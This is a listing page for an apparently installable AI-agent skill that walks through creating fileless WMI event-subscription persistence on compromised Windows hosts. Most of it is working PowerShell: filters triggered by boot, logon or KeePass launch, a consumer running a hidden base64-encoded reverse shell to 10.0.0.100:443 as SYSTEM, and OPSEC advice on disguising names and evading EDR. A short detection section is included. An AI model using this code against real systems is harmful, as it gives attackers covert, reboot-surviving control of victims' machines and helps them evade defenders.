Wmi event subscriptions
Skill ShulkwiSEC/bb-huge/skills/curated/wmi-event-subscriptions
Establish highly stealthy, fileless persistence on compromised Windows systems using WMI (Windows Management Instrumentation) Event Subscriptions. Create malicious Event Filters, Event Consumers, and FilterToConsumer Bindings to execute payloads (reverse shells, beacons, keyloggers) triggered by system events — startup, user logon, process creation, or time intervals. This persistence survives reboots and evades Autoruns, file-based AV, and standard EDR sweeps.From its SKILL.md
npx -y skills add ShulkwiSEC/bb-huge --skill wmi-event-subscriptionsAssembled from the repository path, not quoted from the project. Check it against their README if it does not work.
One thing to look at
- 21 stars21 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.
What its file declares
Copied from the file, not written here
The file declares its own license as Apache-2.0. That is the author’s claim about this one file, and it is not the same thing as the license GitHub reports for the repository, which is listed with the other numbers below.
SKILL.md
14.8 KB, ~3.4k tokens by cl100k_base, as published. Nobody here has run it
WMI Event Subscriptions (Persistence)
When to Use
- When you have elevated access (Local Admin or SYSTEM) on a Windows target and need persistence that survives reboots while evading standard Autoruns and Scheduled Task enumeration.
- When standard persistence mechanisms (Registry Run keys, Scheduled Tasks) are closely monitored by EDR and you need to live deeper in the OS.
- To execute "fileless" payloads stored entirely within the WMI repository (
C:\Windows\System32\wbem\Repository\OBJECTS.DATA), outside the traditional filesystem. - To attach payloads to conditional triggers — for example, launching a keylogger only when the user opens
keepass.exeorchrome.exe.
When NOT to use: For initial access payload delivery, use phishing-payload-generation. For registry-based persistence, use standard Run key techniques. For service-based persistence that's simpler but noisier, use Scheduled Tasks.
Prerequisites
- Administrative or SYSTEM-level access on the target Windows host
- PowerShell execution (not in Constrained Language Mode)
- Understanding of WQL (WMI Query Language) for custom triggers
- A staged payload (reverse shell, C2 beacon) ready for execution
Workflow
Phase 1: Understanding the WMI Persistence Triad
# WMI Event Subscriptions require three interconnected components stored in
# the WMI repository (C:\Windows\System32\wbem\Repository):
# 1. Event Filter (__EventFilter):
# A WQL query defining WHAT system event to monitor.
# Think of it as: "Watch for the exact moment when [condition] occurs."
# Example: "Trigger when system uptime exceeds 3 minutes after boot."
# 2. Event Consumer (CommandLineEventConsumer or ActiveScriptEventConsumer):
# The malicious ACTION to execute when the filter's condition is met.
# Think of it as: "When triggered, run this hidden PowerShell beacon."
# Types:
# - CommandLineEventConsumer → executes a command line (most common)
# - ActiveScriptEventConsumer → executes VBScript/JScript inline
# - LogFileEventConsumer → writes to a log (useful for staging)
# - SMTPEventConsumer → sends email (rare in attacks)
# 3. FilterToConsumerBinding (__FilterToConsumerBinding):
# The LINK that marries a specific Filter to a specific Consumer.
# Without this binding, the Filter watches and Consumer waits, but
# nothing connects them. This is what activates the persistence.
Phase 2: Crafting the Event Filter (The Trigger)
# Execute from an elevated PowerShell session on the target.
# === TRIGGER OPTION A: System Startup (3-5 minutes after boot) ===
# Rationale: Wait for network stack to fully initialize before C2 callback.
$FilterName = "CoreTelemetryMonitor"
$StartupQuery = @"
SELECT * FROM __InstanceModificationEvent WITHIN 60
WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'
AND TargetInstance.SystemUpTime >= 240
AND TargetInstance.SystemUpTime < 325
"@
$FilterArgs = @{
Name = $FilterName
EventNamespace = "root\cimv2"
QueryLanguage = "WQL"
Query = $StartupQuery
}
$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $FilterArgs
# === TRIGGER OPTION B: User Logon Event ===
$LogonQuery = "SELECT * FROM __InstanceCreationEvent WITHIN 15 WHERE TargetInstance ISA 'Win32_LogonSession' AND TargetInstance.LogonType = 2"
# === TRIGGER OPTION C: Specific Process Launch (e.g., when KeePass opens) ===
$ProcessQuery = "SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName = 'keepass.exe'"
# === TRIGGER OPTION D: Time-Based (Every day at 2:00 AM) ===
$TimeQuery = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = 2 AND TargetInstance.Minute = 0"
Phase 3: Crafting the Event Consumer (The Payload)
# The Consumer defines WHAT executes when the Filter triggers.
# The payload runs as NT AUTHORITY\SYSTEM — maximum privileges.
# === OPTION A: CommandLineEventConsumer (most common) ===
# Use a hidden PowerShell reverse shell encoded in Base64
$ConsumerName = "CoreTelemetryLogger"
# Generate the payload (example: encoded PowerShell reverse shell)
# In practice, use your C2 framework's stager (Cobalt Strike, Sliver, etc.)
$RawPayload = '$c=New-Object Net.Sockets.TCPClient("10.0.0.100",443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+"PS "+(pwd).Path+"> ";$sb=([text.encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()'
$EncodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($RawPayload))
$CommandLine = "powershell.exe -w hidden -nop -enc $EncodedPayload"
$ConsumerArgs = @{
Name = $ConsumerName
CommandLineTemplate = $CommandLine
}
$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments $ConsumerArgs
# === OPTION B: ActiveScriptEventConsumer (VBScript — more evasive) ===
$VBPayload = @"
Set objShell = CreateObject("WScript.Shell")
objShell.Run "powershell.exe -w hidden -nop -enc $EncodedPayload", 0, False
"@
$ScriptConsumerArgs = @{
Name = "UpdateServiceHandler"
ScriptingEngine = "VBScript"
ScriptText = $VBPayload
}
# $ScriptConsumer = Set-WmiInstance -Namespace root\subscription -Class ActiveScriptEventConsumer -Arguments $ScriptConsumerArgs
Phase 4: Binding Filter to Consumer (Activating Persistence)
# The binding is the activation step — without it, nothing triggers.
$BindArgs = @{
Filter = $Filter
Consumer = $Consumer
}
$Binding = Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments $BindArgs
Write-Host "[+] WMI Persistence established successfully." -ForegroundColor Green
Write-Host "[+] Filter: $FilterName → Consumer: $ConsumerName" -ForegroundColor Green
Write-Host "[+] Payload executes as SYSTEM upon next trigger activation." -ForegroundColor Green
Phase 5: Validation & OPSEC
# === VERIFY the persistence was created ===
# 1. List all Event Filters
Get-WmiObject -Namespace root\subscription -Class __EventFilter |
Select-Object Name, Query | Format-Table -AutoSize
# 2. List all Event Consumers
Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer |
Select-Object Name, CommandLineTemplate | Format-Table -AutoSize
# 3. List all Bindings
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding |
Select-Object @{N='Filter';E={$_.Filter.Split('"')[1]}},
@{N='Consumer';E={$_.Consumer.Split('"')[1]}} |
Format-Table -AutoSize
# === OPSEC CONSIDERATIONS ===
# - Use benign-sounding names: "WindowsUpdateMonitor", "TelemetryService"
# - Avoid putting offensive tool names in the CommandLineTemplate
# - Use double-encoding or encryption on the payload
# - Consider using ActiveScriptEventConsumer as it's less commonly monitored
# - Time your trigger to coincide with normal system activity
Phase 6: Cleanup (Critical for OPSEC)
# When the operation concludes, you MUST remove all three components.
# Leaving them creates forensic evidence and potential future compromise.
# Remove the binding FIRST
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding `
-Filter "Filter=""__EventFilter.Name='$FilterName'""" | Remove-WmiObject
# Remove the consumer
Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer `
-Filter "Name='$ConsumerName'" | Remove-WmiObject
# Remove the filter
Get-WmiObject -Namespace root\subscription -Class __EventFilter `
-Filter "Name='$FilterName'" | Remove-WmiObject
Write-Host "[+] WMI persistence artifacts cleaned up." -ForegroundColor Yellow
Decision Point 🔀
flowchart TD
A[Achieve Elevated Access - Admin/SYSTEM] --> B[Decide on Trigger Condition]
B -->|Boot/Startup| C[Write WQL query monitoring SystemUpTime]
B -->|User Logon| D[Write WQL query monitoring Win32_LogonSession]
B -->|Process Launch| E[Write WQL query monitoring Win32_ProcessStartTrace]
B -->|Time-Based| F[Write WQL query monitoring Win32_LocalTime]
C --> G[Create __EventFilter in root\subscription namespace]
D --> G
E --> G
F --> G
G --> H[Create CommandLineEventConsumer with encoded payload]
H --> I[Create __FilterToConsumerBinding linking Filter to Consumer]
I --> J[Validate — list all three components]
J --> K{Trigger fires and payload executes as SYSTEM?}
K -->|Yes| L[Persistence confirmed — document and proceed]
K -->|No| M[Debug: Check WQL syntax, namespace, Event Log for errors]
M --> G
L --> N[On operation completion: Remove Filter + Consumer + Binding]
🔵 Blue Team Detection & Defense
Detection Methods
- Sysmon Event ID 19 (WmiEventFilter activity detected): Captures creation of new WMI Event Filters. Alert on any new
__EventFilterinroot\subscription. - Sysmon Event ID 20 (WmiEventConsumer activity detected): Captures creation of Event Consumers. Alert specifically on
CommandLineEventConsumerandActiveScriptEventConsumertypes. - Sysmon Event ID 21 (WmiEventConsumerToFilter activity detected): Captures the binding creation. This is the final activation step.
- PowerShell Script Block Logging (Event ID 4104): When the
CommandLineEventConsumerexecutes its payload, PowerShell deobfuscates the Base64 content. This is captured in Script Block Logs regardless of AMSI status. - WMI Repository Parsing: Tools like
Get-WMIObjector PyWMIPersistenceFinder can enumerate all active subscriptions across endpoints. - Sysinternals Autoruns: The "WMI" tab in
Autoruns64.exenatively displays all WMI Event Consumers that execute shell commands.
Prevention
- Restrict WMI Access: Use GPO to limit who can create permanent WMI subscriptions. Apply the principle of least privilege.
- AppLocker/WDAC: Restrict PowerShell to ConstrainedLanguage mode for non-privileged users, preventing
Set-WmiInstanceabuse. - Sysmon Deployment: Deploy Sysmon with a configuration that specifically monitors Event IDs 19, 20, 21 for any
root\subscriptionnamespace changes. - Regular Auditing: Periodically enumerate
root\subscriptionfor unexpected Filters, Consumers, and Bindings.
Key Concepts
| Concept | Description |
|---|---|
| WMI (Windows Management Instrumentation) | Microsoft's OS management framework providing deep administrative control and querying capability via the CIM (Common Information Model) |
| WQL (WMI Query Language) | SQL-like syntax for querying the WMI database. Used to define Event Filter trigger conditions (e.g., SELECT * FROM Win32_ProcessStartTrace) |
| __EventFilter | WMI class defining WHEN the persistence triggers. Contains the WQL query that monitors for specific system events |
| CommandLineEventConsumer | WMI class defining WHAT executes when triggered. Launches a command line process (typically hidden PowerShell) as SYSTEM |
| ActiveScriptEventConsumer | Alternative consumer that executes inline VBScript/JScript. More evasive as it doesn't spawn a new process directly |
| __FilterToConsumerBinding | WMI class that LINKS a specific Filter to a specific Consumer, activating the persistence mechanism |
| Fileless Malware | Attack methodology operating within RAM or leveraging built-in OS tools (PowerShell, WMI), avoiding placing executables on disk |
| OBJECTS.DATA | The WMI repository file where all WMI class instances are stored. WMI persistence lives here, outside the standard filesystem |
Output Format
Red Team Tactics Report: WMI Event Subscription Persistence
=============================================================
Target Host: SRV-DC01.corp.local
Privilege Level: NT AUTHORITY\SYSTEM (Elevated via PrintSpoofer)
MITRE ATT&CK: T1546.003 (Event Triggered Execution: WMI Event Subscription)
Implementation:
Event Filter: "CoreTelemetryMonitor"
Trigger: System uptime between 240-325 seconds (4-5 min post-boot)
Namespace: root\cimv2
Event Consumer: "CoreTelemetryLogger" (CommandLineEventConsumer)
Payload: Hidden PowerShell reverse shell to 10.0.0.100:443
Execution Context: SYSTEM
Binding: CoreTelemetryMonitor → CoreTelemetryLogger (Active)
Validation:
Rebooted target host → Reverse shell received after 4 minutes
Payload executed as NT AUTHORITY\SYSTEM
No alerts generated by CrowdStrike Falcon (at time of test)
OPSEC Notes:
- Named components after legitimate Windows telemetry services
- Payload double-encoded to evade static analysis
- Trigger window (240-325s) avoids collision with startup scripts
Cleanup Status: All three components removed after operation concluded
- Pivot and escalate using chained attack paths.
📚 Shared Resources
For cross-cutting methodology applicable to all vulnerability classes, see:
_shared/references/elite-chaining-strategy.md— Exploit chaining methodology and high-payout chain patterns_shared/references/elite-report-writing.md— HackerOne-optimized report writing, CWE quick reference_shared/references/real-world-bounties.md— Verified disclosed bounties by vulnerability class
References
- MITRE ATT&CK: Event Triggered Execution: WMI Event Subscription
- SpecterOps: Threat Hunting with WMI Event Subscriptions
- FireEye/Mandiant: WMI: Offense, Defense, and Forensics
- Microsoft: WMI Event Subscription Reference
What ships with it: 2 files
8.7 KB alongside SKILL.md, 1 of them executable
evals/
- evals.json532 B
scripts/
- process.pyruns8.2 KB